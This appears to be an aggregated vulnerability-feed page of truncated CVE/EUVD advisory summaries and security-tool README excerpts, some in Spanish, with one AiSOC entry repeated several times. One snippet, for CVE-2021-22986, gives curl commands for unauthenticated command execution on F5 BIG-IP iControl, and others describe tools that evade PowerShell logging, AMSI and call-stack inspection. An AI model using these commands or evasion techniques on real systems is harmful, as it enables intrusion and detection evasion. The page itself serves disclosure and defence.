CVE-2026-103053

AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOCDEVMODE is enabled and AISOCACTIONSSERVICETOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve...

csf

ArmourBird CSF - Container Security Framework Note: The CSF Client is under active development and is getting converted into GoLang for better performace and architecture Table of Contents 1. About 2. Architecture Diagram 3. APIs-CSF Server 4. Installation/Usage 5. Building Docker Images 6. Sneak...

csf

ArmourBird CSF - Marco de Seguridad para Contenedores Nota: El Cliente CSF está en desarrollo activo y se está convirtiendo a GoLang para un mejor rendimiento y arquitectura Tabla de Contenidos 1. Acerca de 2. Diagrama de Arquitectura 3. APIs del Servidor CSF 4. Instalación/Uso 5. Construcción de...

grafana: grafana: Authorization bypass via missing destination folder permission check

A flaw was found in Grafana. The application fails to verify creation permissions on destination folders during panel update operations. An authenticated user with edit permissions in one folder can exploit this vulnerability through the library elements API to move a library panel into a folder...

TwitWork

TwitWork ¿Qué es TwitWork? Demostración Requisitos Instalación Configuración de desarrollo Descargar exe precompilado ¿Qué es TwitWork? Monitorea el flujo de Twitter. TwitWork utiliza el flujo de Twitter que te permite ver los tweets en tiempo real. Hay un campo de entrada que te permite filtrar ...

vulners-scanner

vulners-scanner Descripción PoC de un escáner de vulnerabilidades basado en host, que utiliza la API de vulners.com. Detecta el sistema operativo, recopila los paquetes instalados y verifica las vulnerabilidades en él. SO compatibles Actualmente admite la recopilación de paquetes para estos...

CVE-2022-36539

CVE-2022-36539 Referencia Directa Insegura a Objetos IDOR WeDayCare B.V. WeDayCare B.V Ouderapp anterior a v1.1.22 permite a los atacantes alterar el valor del ID en llamadas interceptadas para obtener acceso a los datos de otros padres e hijos. El tráfico con la API se hace transparente a través...

CVE-2023-27163

CVE-2023-27163 - SSRF en Request Baskets Prueba de concepto de SSRF en Request Baskets texto alternativo Las versiones de Request Baskets anteriores a la 1.2.1 son vulnerables a ataques de Server Side Request Forgery SSRF a través del componente /api/baskets/name. uso git clone...

CVE-2021-22986-Poc

CVE-2021-22986-Poc Este es un PoC para BIGIP iControl RCE sin autenticación POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

HashCheck

PasswordHashCheck This project aims to assist in the search for leaked passwords while maintaining a high level of privacy using the k-anonymity method. To achieve this, the APIs of different services are used, sending only a part of the Hash of the password we want to check, for example, the fir...

LetsMapYourNetwork

Omniscient - Mapeemos Tu Red v2.0 Índice 1. QUÉ ES 2. POR QUÉ ES 3. DÓNDE USARLO 4. Presentaciones 5. Características clave 6. Guía de instalación 7. CÓMO USARLO 8. Entender el Nodo 9. Contribuidor 10. LMYN En Acción 11. Hoja de ruta 12. Contacto QUÉ ES Es de suma importancia para cualquier...

SilentMoonwalk

SilentMoonwalk Implementación de PoC de un spoofeador de pila de llamadas completamente dinámico TL;DR SilentMoonwalk es una implementación de PoC de un spoofeador de pila de llamadas completamente dinámico, que implementa una técnica para eliminar el llamante original de la pila de llamadas,...

Invisi-Shell

Invisi-Shell ¡Oculta tu script de powershell a plena vista! Invisi-Shell evita todas las características de seguridad de Powershell registro de ScriptBlock, registro de módulos, transcripción, AMSI mediante el enganche de ensamblados .Net. El enganche se realiza a través de la API de CLR Profiler...

EUVD-2026-89534

A vulnerability has been found in Ziroom ZHOME A0101 1.0.1.0. This issue affects some unknown processing of the file /api/ZRnetwork/ping. Such manipulation of the argument url leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public an...

CVE-2026-103053

AiSOC versions 9.0.0 before 12.0.0 are vulnerable to an authentication bypass in the response-action API endpoints . This flaw occurs when AISOC_DEV_MODE is enabled and the AISOC_ACTIONS_SERVICE_TOKEN is empty within a default Docker Compose deployment. An unauthenticated attacker can exploit thi...

CVE-2026-103053 AiSOC 9.0.0 before 12.0.0 Missing Authentication on Actions Service Response-Action API

AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOCDEVMODE is enabled and AISOCACTIONSSERVICETOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve...

CVE-2026-103053 AiSOC 9.0.0 before 12.0.0 Missing Authentication on Actions Service Response-Action API

AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOCDEVMODE is enabled and AISOCACTIONSSERVICETOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve...

EUVD-2026-89537

AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOCDEVMODE is enabled and AISOCACTIONSSERVICETOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve...

CVE-2026-90441

A missing authorization vulnerability in the wgagent management daemon's session initialization function allows an authenticated, low-privileged user including a read-only or guest administrator account to crash the wgagent process and read arbitrary files accessible to the daemon by submitting a...

CVE-2026-102794

A vulnerability has been found in Ziroom ZHOME A0101 1.0.1.0. This issue affects some unknown processing of the file /api/ZRnetwork/ping. Such manipulation of the argument url leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public an...